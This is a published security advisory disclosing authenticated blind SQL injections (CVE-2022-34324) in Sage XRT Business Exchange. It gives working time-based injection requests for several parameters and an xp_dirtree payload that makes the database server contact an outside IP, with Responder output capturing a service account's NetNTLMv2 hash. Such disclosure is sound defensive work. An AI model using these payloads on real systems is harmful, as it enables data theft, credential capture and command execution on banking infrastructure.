SYNACKTIV
DIGITAL SECURITY

Multiple authenticated blind SQL Injections in Sage XRT Business Exchange application

Security advisory

21/12/2022

Mickaël Benassouli
Antoine Gicquel

Vulnerabilities description

Sage XRT Business Exchange

The Sage XRT Business Exchange application is part of the Sage application suite. It is a secure platform under the SaaS model, designed to manage the entire banking operations with payment chains, manage electronic signatures, and has teams collaboration function.

The issues

Synacktiv identified multiple vulnerabilities in Sage XRT Business Exchange that allow an authenticated attacker to inject malicious data in SQL queries. Indeed, the application does not sanitize user input on specific parameters that can be used to alter legitimate SQL queries and inject arbitrary SQL content.

The issue is present in the following page (English and French):

- Add Devises / Ajout de devises.
- Payment Order / Ordre de paiement.
- Transfer history / Historique des transferts.

Affected versions

At least the following version is affected. The previous versions have not been tested.

- 12.4.302

Timeline

Date	Action
07/06/2022	Advisory sent to Sage.
20/06/2022	Attribution of CVE ID: CVE-2022-34324.
21/12/2022	Advisory published.

Technical description and Proof-of-Concept

Vulnerabilities discovery

Sage XRT Business Exchange executes numerous SQL queries containing user-controlled data without proper server-side sanitization. This allows an attacker to send crafted data to the application and modify the original SQL queries' behaviour.

Therefore, several SQL injections requiring different privilege levels were found.

- Add Devises / Ajout de devises

An authenticated user can add devises to a specific list on the application.

```
GET /OnlineBanking/cgi/isapi.dll/ParaRfFRFRQ HTTP/2

Host: aew-olb-prd.em.cloud-by-sage.fr
Cookie: WMSEARCHANDMODEL=OPEN; SESSIONID=*********=; _ga=******; i18next=en-US
[...]
Referer: https://*******/OnlineBanking/cgi/isapi.dll/FrameMain?REDIRECT_SERVICE=&FRAMEMODE=

HTTP/2 200 OK
Date: Tue, 24 May 2022 15:31:53 GMT
Content-Type: text/html

[...]
function addCur()
{
	var l_oDev = document.getElementById('iddev');
	var l_iLen = l_oDev.options.length;
	document.formdev.lstdev.value = "";
	document.formdev.lstdevpos.value = "";
	for (i=0;i < l_iLen;i++)
	{
		if (l_oDev.options[i].selected == true)
		{
			if (document.formdev.lstdev.value == "")
			{
				document.formdev.lstdev.value = l_oDev.options[i].value;
				document.formdev.lstdevpos.value = i
			}
			else
			{
				document.formdev.lstdev.value = l_oDev.options[i].value + ";" +
document.formdev.lstdev.value;
				document.formdev.lstdevpos.value = i + ";" +
document.formdev.lstdevpos.value
			}
		}
	}
	opencloseCurPage();
	saveDev();
}
function saveDev()
{
	document.formdev.cmd.value = "SAVE";
	document.formdev.action = '/OnlineBanking/cgi/isapi.dll/ParaRfFRFRS';
```

```
      document.formdev.submit();
}
```

These are reachable in the French XRT app at the following path :

“OnlineBanking” > “Configuration" > "Administration fonctionnelle" > "Paramètres utilisateur" > "Taux de change des devises"

*https://**********.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/ParaRfFRFRS*

The SQL query results are not displayed in the server response. An injection in this context is known as a blind SQL injection.

A delay query can be performed to check if the request is injected. In MSSQL, this is achieved via the following query:

```
WAITFOR DELAY '00:00:15'
```

The injection is performed through a POST request:

```
POST /OnlineBanking/cgi/isapi.dll/ParaRfFRFRS HTTP/2
Host: *********.cloud-by-sage.fr
Date: Tue, 17 May 2022 16:48:13 GMT
[...]
cmd=MDFTDC&DEV=ARS&TYPE=1&VALUE=1%20waitfor%20delay'0%3a0%3a10'--
&CSRFToken=DFE58267B3F54C5286DF10BF4BCB2262

HTTP/2 200 OK
Date: Tue, 17 May 2022 16:48:34 GMT
[...]
```

The server returns an empty response after 20 seconds.

- Payment Order / Ordre de paiement :

When logged as user or administrator on the XRT panel, the user can access multiple search and edit pages.

https://*********.em.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/HOPFRQ

Accessible via *" OnlineBanking " > "Paiements" > "Journal" > "Ordres de paiement":*

```
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1&searchappori=1&searchdesc=1&PG_C
UR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD8230F5D8D0&CSRFToken=8A313FBA5465
4F57A0CADD8230F5D8D0

HTTP/2 200 OK
Date: Wed, 18 May 2022 07:42:18 GMT
[...]
      function SendSearchBatch()
      {
            document.formhstmainbatch.target = "_self";
            if (document.formhstmainbatch.searchbatch.value != '')
                  if (isIntegerNumber(document.formhstmainbatch.searchbatch.value) ==
false)
                  {
                        alert("Veuillez saisir un nombre ou un chiffre.");
                        document.formhstmainbatch.searchbatch.value = "";
                        document.formhstmainbatch.searchbatch.focus();
                        return;
```

```
                    }
            document.formhstmainbatch.submit();
      }
```

The `searchbatch` field is also vulnerable to an SQL injection.

```
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host: **************.cloud-by-sage.fr
Date: Wed, 18 May 2022 08:02:03 GMT
[...]
page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1%20waitfor%20delay'0%3a0%3a20'--
&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD
8230F5D8D0&CSRFToken=8A313FBA54654F57A0CADD8230F5D8D0

HTTP/2 200 OK
Date: Wed, 18 May 2022 08:02:24 GMT
[...]
```

- Transfer History / Historique des transferts

This page allows a user to search into payment history or reports.

It is available at: *https://**********.cloud-by-sage.fr/OnlineBanking/cgi/isapi.dll/WMSERVERFRQ*

```
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: aew-olb-prd.em.cloud-by-sage.fr
[...]

page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=&SelectPopClose=&searchstatus=0&sea
rchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=&CALYEARSELECTED1=&searchdateend=10%
2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=&CALYEARSELECTED2=&searchref=111&searchsens=0&PART=&
PART_LABEL=&searchptc=268435456&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fiel
did=4001&orderby=desc&CSRFToken=0563586076C542909772DE2F83FCAA34

HTTP/2 200 OK
Date: Mon, 23 May 2022 15:49:46 GMT

[...]
<td><select name="searchsens"><option value=""></option><option value="0"
selected>Emetteur</option><option value="1">Récepteur</option></select></td>
[...]
<td><select name="searchptc"><option value=""></option><option
value="134217728">AS2</option>
[...]
</td><td><select name="searchstatus"><option value=""></option><option value="2">Echec de
transmission</option><option value="0" selected>Transmis</option><option
value="3">Transmission en cours</option></select></td>
```

The following fields are vulnerable to an SQL injection:

- `searchsens`
- `searchptc`
- `searchstatus`

Example for injection in `searchptc`:

```
POST /OnlineBanking/cgi/isapi.dll/WMSERVERFRQ HTTP/2
Host: ******.cloud-by-sage.fr
Date: Mon, 23 May 2022 15:49:24 GMT
[...]
page=hsttransfert&searchtype=&CHANGEVAL=1&SelectPopOpen=CLIENT&SelectPopClose=&searchstatus
=0&searchdatestart=10%2F5%2F2022&CALMOVE1=&CALMONTHSELECTED1=4&CALYEARSELECTED1=2022&search
dateend=10%2F5%2F2022&CALMOVE2=&CALMONTHSELECTED2=4&CALYEARSELECTED2=2022&searchref=111&sea
rchsens=0&PART=&PART_LABEL=&searchptc=268435456%20waitfor%20delay'0%3a0%3a20'--
&SVC=&SVC_LABEL=&CLIENT=&CLIENT_LABEL=&PG_CUR=&PG_NB=20&fieldid=4001&orderby=desc&CSRFToken
=0563586076C542909772DE2F83FCAA34&CSRFToken=0563586076C542909772DE2F83FCAA34&CSRFToken=0563
586076C542909772DE2F83FCAA34&CSRFToken=0563586076C542909772DE2F83FCAA34&CSRFToken=056358607
6C542909772DE2F83FCAA34

HTTP/2 200 OK
Date: Mon, 23 May 2022 15:49:46 GMT
[...]
```

Impact

Exploitation of these injection points can be used, for example:

- To read files on the underlying server.
- To extract databases records.
- To execute commands on the host.

It is possible, for instance, to retrieve the NetNTLMv2 hash for the user account running the MSSQL service:

```
POST /OnlineBanking/cgi/isapi.dll/HOPFRQ HTTP/2
Host:************.cloud-by-sage.fr
[...]

page=batch&IDBATCH=&RPT=&REJ=&IDJOB=&STATUS=&searchbatch=1;declare @q varchar(99);set
@q='\\51.83.97.231\mii'; exec master.dbo.xp_dirtree @q;--
&searchappori=1&searchdesc=1&PG_CUR=&PG_NB=20&wanttoprint=&CSRFToken=8A313FBA54654F57A0CADD
8230F5D8D0&CSRFToken=8A313FBA54654F57A0CADD8230F5D8D0

$ python3 Responder.py -I eth0
[...]
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Client :35.**.**.**
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP Username: EC2PSM1SQL1XTM1\SVC.SQLSrv
05/24/2022 07:36:18 AM - [SMB] NTLMv2-SSP
Hash  :SVC.SQLSrv::EC2PSM1SQL1XTM1:5e1860cca92**************************
```